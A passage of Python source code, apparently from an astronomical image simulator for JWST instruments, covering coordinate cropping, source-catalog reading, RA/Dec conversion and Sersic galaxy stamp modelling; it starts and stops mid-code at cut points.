image\n\n coord_sys : str\n Inidicates which coordinate system to return coordinates for.\n Options are 'full_frame' for full frame coordinates, or\n 'aperture' for aperture coordinates (including any expansion\n for grism source image)\n\n ignore_detector : bool\n If True, the returned coordinates can have values outside the\n size of the subarray/detector (i.e. coords can be negative or\n larger than full frame). If False, coordinates are constrained\n to be on the detector.\n\n Returns\n -------\n x_points : numpy.ndarray\n 2D array of x-coordinates in the aperture coordinate system\n where the stamp image will fall.\n\n y_points : numpy.ndarray\n 2D array of y-coordinates in the aperture coordinate system\n where the stamp image will fall.\n\n (i1, i2) : tup\n Beginning and ending x coordinates (in the aperture coordinate\n system) where the stamp image will fall\n\n (j1, j2) : tup\n Beginning and ending y coordinates (in the aperture coordinate\n system) where the stamp image will fall\n\n (k1, k2) : tup\n Beginning and ending x coordinates (in the stamp's coordinate\n system) that overlap the aperture\n\n (l1, l2) : tup\n Beginning and ending y coordinates (in the stamp's coordinate\n system) that overlap the aperture\n \"\"\"\n if coord_sys == 'full_frame':\n xpos = aperture_x + self.subarray_bounds[0]\n ypos = aperture_y + self.subarray_bounds[1]\n out_dims_x = self.ffsize\n out_dims_y = self.ffsize\n elif coord_sys == 'aperture':\n xpos = aperture_x + self.coord_adjust['xoffset']\n ypos = aperture_y + self.coord_adjust['yoffset']\n out_dims_x = self.output_dims[1]\n out_dims_y = self.output_dims[0]\n\n stamp_y_dim, stamp_x_dim = stamp_dims\n\n # Get coordinates that describe the overlap between the stamp\n # and the aperture\n (i1, i2, j1, j2, k1, k2, l1, l2) = self.cropped_coords(xpos, ypos, (out_dims_y, out_dims_x),\n stamp_x, stamp_y, stamp_dims,\n ignore_detector=ignore_detector)\n\n # If the stamp is completely off the detector, use dummy arrays\n # for x_points and y_points\n if j1 is None or j2 is None or i1 is None or i2 is None:\n x_points = np.zeros((2, 2))\n y_points = x_points\n else:\n y_points, x_points = np.mgrid[j1:j2, i1:i2]\n\n return xpos, ypos, x_points, y_points, (i1, i2), (j1, j2), (k1, k2), (l1, l2)\n\n def ensure_odd_lengths(self, x_dim, y_dim, x_center, y_center):\n \"\"\"Given the dimensions and the coordinates of the center of an\n array, ensure the array has an odd number of rows and columns,\n calculate the updated half-width, and return the minimum and\n maximum row and column indexes.\n\n Parameters\n ----------\n x_dim : int\n Length of the array in the x-dimension\n\n y_dim : int\n Length of the array in the y-dimension\n\n x_center : float\n Coordinate of the center of the array, usually\n in some other coordinate system (e.g. full frame\n coords, while the array is a subarray)\n\n y_center : float\n Coordinate of the center of the array in the y\n direction, usually in some other coordinate\n system\n\n Returns\n -------\n x_min : int\n Minimum index in the x direction of the array\n in the coordinate system of ``x_center, y_center``.\n\n x_max : int\n Maximum index in the x direction of the array\n in the coordinate system of ``x_center, y_center``.\n\n y_min : int\n Minimum index in the y direction of the array\n in the coordinate system of ``x_center, y_center``.\n\n y_max : int\n Maximum index in the y direction of the array\n in the coordinate system of ``x_center, y_center``.\n \"\"\"\n if x_dim % 2 == 0:\n x_dim -= 1\n if y_dim % 2 == 0:\n y_dim -= 1\n x_half_width = x_dim // 2\n y_half_width = y_dim // 2\n x_min = np.int(x_center) - x_half_width\n x_max = np.int(x_center) + x_half_width + 1\n y_min = np.int(y_center) - y_half_width\n y_max = np.int(y_center) + y_half_width + 1\n return x_min, x_max, y_min, y_max\n\n def cropped_coords(self, aperture_x, aperture_y, aperture_dims, stamp_x, stamp_y, stamp_dims,\n ignore_detector=False):\n \"\"\"Given the location of a source on the detector along with the size of\n the PSF/stamp image for that object, calcuate the limits of the detector\n coordinates onto which the object will fall.\n\n Parameters:\n -----------\n aperture_x : float\n Column location of source on detector (aperture coordinate system\n including any padding for WFSS seed image)\n\n aperture_y : float\n Row location of source on detector (aperture coordinate system\n including any padding for WFSS seed image)\n\n aperture_dims : tup\n (y, x) dimensions of the aperture on which the sources will be placed\n (e.g. full frame, full_frame+extra, subarray)\n\n stamp_x : float\n Location in x of source within the stamp image\n\n stamp_y : float\n Location in y of source within the stamp image\n\n stamp_dims : tup\n (y, x) dimensions of the source's stamp image. (e.g. the size of the PSF\n or galaxy image stamp)\n\n ignore_detector: bool\n If True, the returned coordinates can have values outside the\n size of the subarray/detector (i.e. coords can be negative or\n larger than full frame). If False, coordinates are constrained\n to be on the detector.\n\n Returns:\n --------\n i1 : int\n Column number on the detector/aperture corresponding to the left\n edge of the PSF/stamp image.\n\n i2 : int\n Column number on the detector/aperture corresponding to the right\n edge of the PSF/stamp image.\n\n j1 : int\n Row number on the detector/aperture corresponding to the bottom\n edge of the PSF/stamp image.\n\n j2 : int\n Row number on the detector/aperture corresponding to the top\n edge of the PSF/stamp image.\n\n l1 : int\n Column number on the PSF/stamp image corresponding to the left-most\n column that overlaps the detector/aperture\n\n l2 : int\n Column number on the PSF/stamp image corresponding to the right-most\n column that overlaps the detector/aperture\n\n k1 : int\n Row number on the PSF/stamp image corresponding to the bottom-most\n row that overlaps the detector/aperture\n\n k2 : int\n Row number on the PSF/stamp image corresponding to the top-most\n row that overlaps the detector/aperture\n \"\"\"\n stamp_y_dim, stamp_x_dim = stamp_dims\n aperture_y_dim, aperture_x_dim = aperture_dims\n\n stamp_x = math.floor(stamp_x)\n stamp_y = math.floor(stamp_y)\n aperture_x = math.floor(aperture_x)\n aperture_y = math.floor(aperture_y)\n\n i1 = aperture_x - stamp_x\n j1 = aperture_y - stamp_y\n\n if ((i1 > (aperture_x_dim)) or (j1 > (aperture_y_dim))) and not ignore_detector:\n # In this case the stamp does not overlap the aperture at all\n return tuple([None]*8)\n delta_i1 = 0\n delta_j1 = 0\n\n if not ignore_detector:\n if i1 < 0:\n delta_i1 = copy.deepcopy(i1)\n i1 = 0\n if j1 < 0:\n delta_j1 = copy.deepcopy(j1)\n j1 = 0\n\n i2 = i1 + (stamp_x_dim + delta_i1)\n j2 = j1 + (stamp_y_dim + delta_j1)\n\n if ((i2 < 0) or (j2 < 0)) and not ignore_detector:\n # Stamp does not overlap the aperture at all\n return tuple([None]*8)\n\n delta_i2 = 0\n delta_j2 = 0\n if not ignore_detector:\n if i2 > aperture_x_dim:\n delta_i2 = i2 - aperture_x_dim\n i2 = aperture_x_dim\n if j2 > aperture_y_dim:\n delta_j2 = j2 - aperture_y_dim\n j2 = aperture_y_dim\n\n k1 = 0 - delta_i1\n k2 = stamp_x_dim - delta_i2\n l1 = 0 - delta_j1\n l2 = stamp_y_dim - delta_j2\n return (i1, i2, j1, j2, k1, k2, l1, l2)\n\n def cropPSF(self, psf):\n '''take an array containing a psf and crop it such that the brightest\n pixel is in the center of the array'''\n nyshift, nxshift = np.where(psf == np.max(psf))\n nyshift = nyshift[0]\n nxshift = nxshift[0]\n py, px = psf.shape\n\n xl = nxshift - 0\n xr = px - nxshift - 1\n if xl <= xr:\n xdist = xl\n if xr < xl:\n xdist = xr\n\n yl = nyshift - 0\n yr = py - nyshift - 1\n if yl <= yr:\n ydist = yl\n if yr < yl:\n ydist = yr\n\n return psf[nyshift - ydist:nyshift + ydist + 1, nxshift - xdist:nxshift + xdist + 1]\n\n def read_point_source_file(self, filename):\n \"\"\"Read in the point source catalog file\n\n Parameters:\n -----------\n filename : str\n Filename of catalog file to be read in\n\n Returns:\n --------\n gtab : Table\n astropy Table containing catalog\n\n pflag : bool\n Flag indicating units of source locations. True for detector\n pixels, False for RA, Dec\n\n msys : str\n Magnitude system of the source brightnesses (e.g. 'abmag')\n \"\"\"\n try:\n gtab = ascii.read(filename)\n # Look at the header lines to see if inputs\n # are in units of pixels or RA, Dec\n pflag = False\n try:\n if 'position_pixels' in gtab.meta['comments'][0:4]:\n pflag = True\n except:\n pass\n # Check to see if magnitude system is specified\n # in the comments. If not default to AB mag\n msys = 'abmag'\n condition = ('stmag' in gtab.meta['comments'][0:4]) | ('vegamag' in gtab.meta['comments'][0:4])\n if condition:\n msys = [l for l in gtab.meta['comments'][0:4] if 'mag' in l][0]\n msys = msys.lower()\n\n except:\n raise IOError(\"WARNING: Unable to open the source list file {}\".format(filename))\n\n return gtab, pflag, msys\n\n def select_magnitude_column(self, catalog, catalog_file_name):\n \"\"\"Select the appropriate column to use for source magnitudes from the input source catalog. If there\n is a specific column name constructed as __magnitude to use for source magnitudes\n (e.g. nircam_f200w_magnitude) then use that. (NOTE: for FGS we search for a column name of\n 'fgs_magnitude'). If not, check for a generic 'magnitude' column. If neither are present, raise an\n error.\n\n Parameters\n ----------\n\n catalog : astropy.table.Table\n Source catalog\n\n catalog_file_name : str\n Name of the catalog file. Used only when raising errors.\n\n Returns\n -------\n\n specific_mag_col : str\n The name of the catalog column to use for source magnitudes\n \"\"\"\n # Determine the filter name to look for\n if self.params['Inst']['instrument'].lower() == 'nircam':\n actual_pupil_name = self.params['Readout']['pupil'].lower()\n actual_filter_name = self.params['Readout']['filter'].lower()\n\n # If a grism is in the pupil wheel, replace it with a filter\n if actual_pupil_name.lower() in ['grismr', 'grismc']:\n actual_pupil_name = 'clear'\n\n comb_str = '{}_{}'.format(actual_filter_name.lower(), actual_pupil_name.lower())\n\n # Construct the column header to look for\n specific_mag_col = \"nircam_{}_magnitude\".format(comb_str)\n\n # In order to be backwards compatible, if the newer column\n # name format (above) is not present, look for a column name\n # that follows the old format, which uses just the filter name\n # for cases where a filter is paired with CLEAR in the pupil\n # wheel, or where only the name of the narrower filter is used\n # for cases where a narrow filter in the pupil wheel is crossed\n # with a wide filter in the filter wheel\n if specific_mag_col not in catalog.colnames:\n if actual_pupil_name == 'clear':\n specific_mag_col = \"nircam_{}_magnitude\".format(actual_filter_name)\n elif actual_pupil_name[0] == 'f' and actual_filter_name[0] == 'f':\n specific_mag_col = \"nircam_{}_magnitude\".format(actual_pupil_name)\n elif actual_pupil_name in ['wlp8', 'wlm8']:\n # Weak lenses were not supported with the old column\n # name format, so if the new format column name is not\n # present, then we raise an exception here. While WLP4\n # has a very small effect on throughput, WLP8 and WLM8\n # do, so falling back to looking for a +CLEAR\n # column seems like the wrong thing to do.\n raise ValueError((\"WARNING: Catalog {} has no magnitude column for {} specifically called {}. \"\n \"Unable to continue.\".format(os.path.split(catalog_file_name)[1],\n self.params['Inst']['instrument'],\n specific_mag_col)))\n elif self.params['Inst']['instrument'].lower() == 'niriss':\n if self.params['Readout']['pupil'][0].upper() == 'F':\n specific_mag_col = \"{}_{}_magnitude\".format('niriss', self.params['Readout']['pupil'].lower())\n else:\n specific_mag_col = \"{}_{}_magnitude\".format('niriss', self.params['Readout']['filter'].lower())\n\n elif self.params['Inst']['instrument'].lower() == 'fgs':\n specific_mag_col = \"{}_magnitude\".format(self.params['Readout']['array_name'].split('_')[0].lower())\n\n # Search catalog column names.\n if specific_mag_col in catalog.colnames:\n self.logger.info(\"Using {} column in {} for magnitudes\".format(specific_mag_col,\n os.path.split(catalog_file_name)[1]))\n return specific_mag_col\n\n elif 'magnitude' in catalog.colnames:\n self.logger.warning((\"WARNING: Catalog {} does not have a magnitude column called {}, \"\n \"but does have a generic 'magnitude' column. Continuing simulation using that.\"\n .format(os.path.split(catalog_file_name)[1], specific_mag_col)))\n return \"magnitude\"\n else:\n raise ValueError((\"WARNING: Catalog {} has no magnitude column for {} specifically called {}, \"\n \"nor a generic 'magnitude' column. Unable to proceed.\"\n .format(os.path.split(catalog_file_name)[1], self.params['Inst']['instrument'],\n specific_mag_col)))\n\n def makePos(self, alpha1, delta1):\n # given a numerical RA/Dec pair, convert to string\n # values hh:mm:ss\n if ((alpha1 < 0) or (alpha1 >= 360.)):\n alpha1 = alpha1 % 360\n if delta1 < 0.:\n sign = \"-\"\n d1 = abs(delta1)\n else:\n sign = \"+\"\n d1 = delta1\n decd = int(d1)\n value = 60. * (d1 - float(decd))\n decm = int(value)\n decs = 60. * (value - decm)\n a1 = alpha1 / 15.0\n radeg = int(a1)\n value = 60. * (a1 - radeg)\n ramin = int(value)\n rasec = 60. * (value - ramin)\n alpha2 = \"%2.2d:%2.2d:%7.4f\" % (radeg, ramin, rasec)\n delta2 = \"%1s%2.2d:%2.2d:%7.4f\" % (sign, decd, decm, decs)\n alpha2 = alpha2.replace(\" \", \"0\")\n delta2 = delta2.replace(\" \", \"0\")\n\n return alpha2, delta2\n\n def RADecToXY_astrometric(self, ra, dec):\n \"\"\"Translate backwards, RA, Dec to V2, V3. If a distortion reference file is\n provided, use that. Otherwise fall back to pysiaf.\n\n Parameters:\n -----------\n ra : float\n Right ascention value, in degrees, to be translated.\n\n dec : float\n Declination value, in degrees, to be translated.\n\n Returns:\n --------\n pixelx : float\n X coordinate value in the aperture corresponding to the input location\n\n pixely : float\n Y coordinate value in the aperture corresponding to the input location\n \"\"\"\n if not self.use_intermediate_aperture:\n loc_v2, loc_v3 = pysiaf.utils.rotations.getv2v3(self.attitude_matrix, ra, dec)\n else:\n loc_v2, loc_v3 = pysiaf.utils.rotations.getv2v3(self.intermediate_attitude_matrix, ra, dec)\n\n if self.coord_transform is not None:\n # Use the distortion reference file to translate from V2, V3 to RA, Dec\n pixelx, pixely = self.coord_transform.inverse(loc_v2, loc_v3)\n pixelx -= self.subarray_bounds[0]\n pixely -= self.subarray_bounds[1]\n else:\n self.logger.debug('SIAF: using {} to transform from tel to sci'.format(self.siaf.AperName))\n pixelx, pixely = self.siaf.tel_to_sci(loc_v2, loc_v3)\n # Subtract 1 from SAIF-derived results since SIAF works in a 1-indexed coord system\n pixelx -= 1\n pixely -= 1\n\n return pixelx, pixely\n\n def object_separation(self, radec1, radec2, wcs):\n \"\"\"\n Calculate the distance between two points on the sky given their\n RA, Dec values. Also calculate the angle (east of north?) between\n the two points.\n\n Parameters:\n -----------\n radec1 : list\n 2-element list giving the RA, Dec (in decimal degrees) for\n the first object\n\n radec2 : list\n 2-element list giving the RA, Dec (in decimal degrees) for\n the second object\n\n Returns:\n --------\n distance : float\n Angular separation (in degrees) between the two objects\n\n angle : float\n Angle (east of north?) separating the two sources\n \"\"\"\n c1 = SkyCoord(radec1[0]*u.degree, radec1[1]*u.degree, frame='icrs')\n c2 = SkyCoord(radec2[0]*u.degree, radec2[1]*u.degree, frame='icrs')\n sepra, sepdec = c1.spherical_offsets_to(c2).to_pixel(wcs)\n return sepra, sepdec\n\n def XYToRADec(self, pixelx, pixely):\n \"\"\"Translate a given x, y location on the detector to RA, Dec. If a\n distortion reference file is provided, use that. Otherwise fall back to\n using pysiaf.\n\n Parameters:\n -----------\n pixelx : float\n X coordinate value in the aperture\n\n pixely : float\n Y coordinate value in the aperture\n\n Returns:\n --------\n ra : float\n Right ascention value in degrees\n\n dec : float\n Declination value in degrees\n\n ra_str : str\n Right ascention value in HH:MM:SS\n\n dec_str : str\n Declination value in DD:MM:SS\n \"\"\"\n if self.coord_transform is not None:\n pixelx += self.subarray_bounds[0]\n pixely += self.subarray_bounds[1]\n loc_v2, loc_v3 = self.coord_transform(pixelx, pixely)\n else:\n # Use SIAF to do the calculations if the distortion reffile is\n # not present. In this case, add 1 to the input pixel values\n # since SIAF works in a 1-indexed coordinate system.\n loc_v2, loc_v3 = self.siaf.sci_to_tel(pixelx + 1, pixely + 1)\n\n if not self.use_intermediate_aperture:\n ra, dec = pysiaf.utils.rotations.pointing(self.attitude_matrix, loc_v2, loc_v3)\n else:\n ra, dec = pysiaf.utils.rotations.pointing(self.intermediate_attitude_matrix, loc_v2, loc_v3)\n\n # Translate the RA/Dec floats to strings\n ra_str, dec_str = self.makePos(ra, dec)\n\n return ra, dec, ra_str, dec_str\n\n def readGalaxyFile(self, filename):\n # Read in the galaxy source list\n try:\n # read table\n gtab = ascii.read(filename)\n\n # Look at the header lines to see if inputs\n # are in units of pixels or RA, Dec\n pflag = False\n rpflag = False\n try:\n if 'position_pixels' in gtab.meta['comments'][0:4]:\n pflag = True\n except:\n pass\n try:\n if 'radius_pixels' in gtab.meta['comments'][0:4]:\n rpflag = True\n except:\n pass\n # Check to see if magnitude system is specified in the comments\n # If not assume AB mags\n msys = 'abmag'\n condition = ('stmag' in gtab.meta['comments'][0:4]) | ('vegamag' in gtab.meta['comments'][0:4])\n if condition:\n msys = [l for l in gtab.meta['comments'][0:4] if 'mag' in l][0]\n msys = msys.lower()\n\n except:\n raise IOError(\"WARNING: Unable to open the galaxy source list file {}\".format(filename))\n\n return gtab, pflag, rpflag, msys\n\n def filterGalaxyList(self, galaxylist, pixelflag, radiusflag, magsystem, catfile):\n # given a list of galaxies (location, size, orientation, magnitude)\n # keep only those which will fall fully or partially on the output array\n\n filteredList = Table(names=('index', 'pixelx', 'pixely', 'RA', 'Dec',\n 'RA_degrees', 'Dec_degrees', 'V2', 'V3',\n 'radius', 'ellipticity', 'pos_angle',\n 'sersic_index', 'magnitude', 'countrate_e/s',\n 'counts_per_frame_e'),\n dtype=('i', 'f', 'f', 'S14', 'S14', 'f', 'f', 'f',\n 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f'))\n\n # Each entry in galaxylist is:\n # index x_or_RA y_or_Dec radius ellipticity pos_angle sersic_index magnitude\n # remember that x/y are interpreted as coordinates in the output subarray\n # NOT full frame coordinates. This is the same as the point source list coords\n\n # First, begin to define the pixel limits beyond which a galaxy will be completely\n # outside of the field of view\n # First, coord limits for just the subarray\n miny = 0\n maxy = self.subarray_bounds[3] - self.subarray_bounds[1]\n minx = 0\n maxx = self.subarray_bounds[2] - self.subarray_bounds[0]\n ny = self.subarray_bounds[3] - self.subarray_bounds[1] + 1\n nx = self.subarray_bounds[2] - self.subarray_bounds[0] + 1\n\n # Expand the limits if a grism direct image is being made\n if (self.params['Output']['grism_source_image'] == True) or (self.params['Inst']['mode'] in [\"pom\", \"wfss\"]):\n \"\"\"\n extrapixy = np.int((maxy + 1)/2 * (self.grism_direct_factor_y - 1.))\n miny -= extrapixy\n maxy += extrapixy\n extrapixx = np.int((maxx + 1)/2 * (self.grism_direct_factor_x - 1.))\n minx -= extrapixx\n maxx += extrapixx\n\n nx = np.int(nx * self.grism_direct_factor_x)\n ny = np.int(ny * self.grism_direct_factor_y)\n\n this needs to change to be the entire POM.\n don't multiply by grism_direct_factor. that's too small.\n ff - minx, maxx = 0, 2047\n \"\"\"\n transmission_ydim, transmission_xdim = self.transmission_image.shape\n\n miny = miny - self.subarray_bounds[1] - self.trans_ff_ymin\n minx = minx - self.subarray_bounds[0] - self.trans_ff_xmin\n maxx = minx + transmission_xdim\n maxy = miny + transmission_ydim\n nx = transmission_xdim\n ny = transmission_ydim\n\n # Get source index numbers\n indexes = galaxylist['index']\n\n # Check the source list and remove any sources that are well outside the\n # field of view of the detector. These sources cause the coordinate\n # conversion to hang.\n indexes, galaxylist = self.remove_outside_fov_sources(indexes, galaxylist, pixelflag, 4096)\n\n # Determine the name of the column to use for source magnitudes\n mag_column = self.select_magnitude_column(galaxylist, catfile)\n\n # For NIRISS observations where ghosts will be added, create a table to hold\n # the ghost entries\n if self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts']:\n ghost_source_index = []\n ghost_x = []\n ghost_y = []\n ghost_filename = []\n ghost_mag = []\n ghost_mags = None\n else:\n ghost_x = None\n\n # Loop over galaxy sources\n skipped_non_niriss = False\n ghost_i = 0\n for index, source in zip(indexes, galaxylist):\n\n # If the filter/pupil combination does not have an entry\n # in the ghost summary file, log that only for the first\n # source. No need to repeat for all sources.\n log_ghost_err = True\n if ghost_i > 0:\n log_ghost_err = False\n\n # If galaxy radii are given in units of arcseconds, translate to pixels\n if radiusflag is False:\n source['radius'] /= self.siaf.XSciScale\n\n # how many pixels beyond the nominal subarray edges can a source be located and\n # still have it fall partially on the subarray? Galaxy stamps are nominally set to\n # have a length and width equal to 100 times the requested radius.\n edgex = source['radius'] * 100 / 2 - 1\n edgey = source['radius'] * 100 / 2 - 1\n\n # reset the field of view limits for the size of the current stamp image\n outminy = miny - edgey\n outmaxy = maxy + edgey\n outminx = minx - edgex\n outmaxx = maxx + edgex\n\n pixelx, pixely, ra, dec, ra_str, dec_str = self.get_positions(source['x_or_RA'],\n source['y_or_Dec'],\n pixelflag, 4096)\n\n # Calculate count rate\n mag = float(source[mag_column])\n # Convert magnitudes to countrate (ADU/sec) and counts per frame\n rate = utils.magnitude_to_countrate(self.instrument, self.params['Readout']['filter'],\n magsystem, mag, photfnu=self.photfnu, photflam=self.photflam,\n vegamag_zeropoint=self.vegazeropoint)\n\n # If this is a NIRISS simulation and the user wants to add ghosts,\n # do that here.\n if self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts']:\n gx, gy, gmag, gcounts, gfile = self.locate_ghost(pixelx, pixely, rate, magsystem, source, 'galaxies',\n log_skipped_filters=log_ghost_err)\n if np.isfinite(gx) and gfile is not None:\n ghost_source_index.append(index)\n ghost_x.append(gx)\n ghost_y.append(gy)\n ghost_mag.append(gmag)\n ghost_filename.append(gfile)\n\n ghost_src, skipped_non_niriss = source_mags_to_ghost_mags(source, self.params['Reffiles']['flux_cal'], magsystem,\n NIRISS_GHOST_GAP_FILE, self.params['Readout']['filter'], log_skipped_filters=False)\n\n if ghost_mags is None:\n ghost_mags = copy.deepcopy(ghost_src)\n else:\n ghost_mags = vstack([ghost_mags, ghost_src])\n\n # Increment the counter to control the logging regardless of whether the source\n # is on the detector or not.\n ghost_i += 1\n\n # only keep the source if the peak will fall within the subarray\n if pixely > outminy and pixely < outmaxy and pixelx > outminx and pixelx < outmaxx:\n\n pixelv2, pixelv3 = pysiaf.utils.rotations.getv2v3(self.attitude_matrix, ra, dec)\n entry = [index, pixelx, pixely, ra_str, dec_str, ra, dec, pixelv2, pixelv3,\n source['radius'], source['ellipticity'], source['pos_angle'], source['sersic_index']]\n\n # Now look at the input magnitude of the point source\n # append the mag and pixel position to the list of ra, dec\n entry.append(mag)\n framecounts = rate * self.frametime\n\n # add the countrate and the counts per frame to pointSourceList\n # since they will be used in future calculations\n entry.append(rate)\n entry.append(framecounts)\n\n # add the good point source, including location and counts, to the pointSourceList\n filteredList.add_row(entry)\n\n if self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts'] and skipped_non_niriss:\n self.logger.info((\"Skipped the calculation of ghost source magnitudes for the non-NIRISS magnitude columns in \"\n \"galaxy source catalog.\"))\n\n # Write the results to a file\n self.n_galaxies = len(filteredList)\n if self.n_galaxies > 0:\n self.logger.info((\"Number of galaxies found within or close to the requested aperture: {}\".format(self.n_galaxies)))\n else:\n self.logger.info(\"\\nINFO: No galaxies present within the aperture.\")\n\n filteredList.meta['comments'] = [(\"Field center (degrees): %13.8f %14.8f y axis rotation angle \"\n \"(degrees): %f image size: %4.4d %4.4d\\n\" %\n (self.ra, self.dec, self.params['Telescope']['rotation'], nx, ny))]\n filteredOut = self.basename + '_galaxySources.list'\n filteredList.write(filteredOut, format='ascii', overwrite=True)\n\n # If any ghost sources were found, create an extended catalog object to hold them\n if self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts']:\n ghosts_from_galaxies = self.save_ghost_catalog(ghost_x, ghost_y, ghost_filename, ghost_mags, catfile, ghost_source_index)\n else:\n ghosts_from_galaxies = None\n\n return filteredList, ghosts_from_galaxies\n\n def create_galaxy(self, r_Sersic, ellipticity, sersic_index, position_angle, total_counts, subpixx, subpixy,\n signal_matching_threshold=0.02):\n \"\"\"Create a model 2d sersic image with a given radius, eccentricity,\n position angle, and total counts.\n\n Parameters\n ----------\n r_Sersic : float\n Half light radius of the sersic profile, in units of pixels\n\n ellipticity : float\n Ellipticity of sersic profile\n\n sersic_index : float\n Sersic index\n\n position_angle : float\n Position angle in units of radians\n\n total_counts : float\n Total summed signal of the output image\n\n subpixx : float\n Subpixel x-coordinate of the galaxy center.\n\n subpixy : float\n Subpixel y-coordinate of the galaxy center.\n\n signal_matching_threshold : float\n Maximum allowed fractional difference between the requested\n total signal and the total signal in the model. If the model\n signal is incorrect by more than this threshold, fall back to\n manual scaling of the galaxy stamp.\n\n Returns\n -------\n img : numpy.ndarray\n 2D array containing the 2D sersic profile\n \"\"\"\n # Calculate the total signal associated with the source\n sersic_total = sersic_total_signal(r_Sersic, sersic_index)\n\n # Amplitude to be input into Sersic2D to properly scale the source\n amplitude = total_counts / sersic_total\n\n # Find the effective radius, semi-major, and semi-minor axes sizes\n # needed to encompass SERSIC_FRACTIONAL_SIGNAL of the total flux\n sersic_rad, semi_major_axis, semi_minor_axis = sersic_fractional_radius(r_Sersic, sersic_index,\n SERSIC_FRACTIONAL_SIGNAL,\n ellipticity)\n\n # Using the position angle, calculate the size of the source in the\n # x and y directions\n x_full_length = np.int(np.ceil(np.max([2 * semi_major_axis * np.absolute(np.cos(position_angle)), 2 * semi_minor_axis])))\n y_full_length = np.int(np.ceil(np.max([2 * semi_major_axis * np.absolute(np.sin(position_angle)), 2 * semi_minor_axis])))\n\n num_pix = x_full_length * y_full_length\n\n delta_limit = 0.005\n limit = SERSIC_FRACTIONAL_SIGNAL\n # Limit the maximum size of the stamp in order to save computation time\n while num_pix > (2500.**2):\n limit -= delta_limit\n\n # Find the effective radius, semi-major, and semi-minor axes sizes\n # needed to encompass SERSIC_FRACTIONAL_SIGNAL of the total flux\n sersic_rad, semi_major_axis, semi_minor_axis = sersic_fractional_radius(r_Sersic, sersic_index,\n limit,\n ellipticity)\n\n # Using the position angle, calculate the size of the source in the\n # x and y directions\n x_full_length = np.int(np.ceil(np.max([2 * semi_major_axis * np.absolute(np.cos(position_angle)), 2 * semi_minor_axis])))\n y_full_length = np.int(np.ceil(np.max([2 * semi_major_axis * np.absolute(np.sin(position_angle)), 2 * semi_minor_axis])))\n\n num_pix = x_full_length * y_full_length\n\n # Make sure the dimensions are odd, so that the galaxy center will\n # be in the center pixel\n if y_full_length % 2 == 0:\n y_full_length += 1\n if x_full_length % 2 == 0:\n x_full_length += 1\n\n # Center the galaxy within (0, 0) at the requested subpixel location\n if ((subpixx > 1) or (subpixx < -1) or (subpixy > 1) or (subpixy < -1)):\n raise ValueError('Subpixel x and y poistions must be -1 < subpix < 1')\n\n # Create model. Add 90 degrees to the position_angle because the definition\n # Mirage has been using is that the PA is degrees east of north of the\n # semi-major axis\n mod = Sersic2D(amplitude=amplitude, r_eff=r_Sersic, n=sersic_index, x_0=subpixx, y_0=subpixy,\n ellip=ellipticity, theta=position_angle)\n\n x_half_length = x_full_length // 2\n xmin = int(0 - x_half_length)\n xmax = int(0 + x_half_length + 1)\n\n y_half_length = y_full_length // 2\n ymin = int(0 - y_half_length)\n ymax = int(0 + y_half_length + 1)\n\n # Create grid to hold model instance\n x_stamp, y_stamp = np.meshgrid(np.arange(xmin, xmax), np.arange(ymin, ymax))\n\n # Create model instance\n stamp = mod(x_stamp, y_stamp)\n\n # Check the total signal in the stamp. In some cases (high ellipticity, high sersic index)\n # a source centered at or close to the pixel center results in a bad scaling from Sersic2D.\n # The bad model may have significantly less or more signal than requested. If this is true,\n # rescale manually to the requested signal level. As long as the stamp is large\n # enough (which it should be given the size calculations above), then the signal\n # outside the stamp should be negligible and scaling the stamp to the requested signal\n # level should be correct.\n sig_diff = np.absolute(1. - np.sum(stamp) / (total_counts * limit))\n if sig_diff > signal_matching_threshold:\n stamp = stamp / np.sum(stamp) * (total_counts * limit)\n\n return stamp\n\n def crop_galaxy_stamp(self, stamp, threshold):\n \"\"\"Crop an input stamp image containing a galaxy to a size that\n contains only threshold times the total signal. This is an\n attempt to speed up the simulator a bit, since the galaxy stamp\n images are often very large. Note that galaxy stamp images being\n fed into this function are currently always square.\n\n Parameters\n ----------\n stamp : numpy.ndarray\n 2D stamp image of galaxy\n\n threshold : float\n Fraction of total flux to keep in the cropped image\n (e.g. 0.999 = 99.9%)\n\n Returns\n -------\n stamp : numpy.ndarray\n 2D cropped image\n \"\"\"\n totsignal = np.sum(stamp)\n # In the case of no signal, return the original stamp image.\n # This can happen for some Sersic profile parameters when the galaxy\n # is very small compared to the pixel size.\n if totsignal == 0.:\n return stamp\n yd, xd = stamp.shape\n mid = np.int(xd / 2)\n for rad in range(mid):\n signal = np.sum(stamp[mid - rad:mid + rad + 1, mid - rad:mid + rad + 1]) / totsignal\n if signal >= threshold:\n return stamp[mid - rad:mid + rad + 1, mid - rad:mid + rad + 1]\n # If we make it all the way through the stamp without\n # hitting the threshold, then return the full stamp image\n return stamp\n\n def make_galaxy_image(self, file):\n \"\"\"Using the entries in the ``simSignals:galaxyList`` file, create a countrate image\n of model galaxies (2D sersic profiles)\n\n Parameters\n ----------\n catalog_file : str\n Name of ascii catalog file containing galaxy sources\n\n Returns\n -------\n galimage : numpy.ndarray\n 2D array containing countrate image of galaxy sources\n\n segmentation.segmap : numpy.ndarray\n Segmentation map corresponding to ``galimage``\n\n ghost_sources_from_galaxies : str\n Name of an extended source catalog file written out and\n containing ghost sources due to the galaxies in the galaxy\n catalog. Currently only done for NIRISS\n \"\"\"\n # Read in the list of galaxies (positions and magnitides)\n glist, pixflag, radflag, magsys = self.readGalaxyFile(file)\n if pixflag:\n self.logger.info(\"Galaxy list input positions assumed to be in units of pixels.\")\n else:\n self.logger.info(\"Galaxy list input positions assumed to be in units of RA and Dec.\")\n\n if radflag:\n self.logger.info(\"Galaxy list input radii assumed to be in units of pixels.\")\n else:\n self.logger.info(\"Galaxy list input radii assumed to be in units of arcsec.\")\n\n # Extract and save only the entries which will land (fully or partially) on the\n # aperture of the output\n galaxylist, ghost_sources_from_galaxies = self.filterGalaxyList(glist, pixflag, radflag, magsys, file)\n\n # galaxylist is a table with columns:\n # 'pixelx', 'pixely', 'RA', 'Dec', 'RA_degrees', 'Dec_degrees', 'radius', 'ellipticity',\n # 'pos_angle', 'sersic_index', 'magnitude', 'countrate_e/s', 'counts_per_frame_e'\n\n # final output image\n yd, xd = self.output_dims\n\n # Seed cube for disperser\n seed_cube = {}\n\n # create the final galaxy countrate image\n galimage = 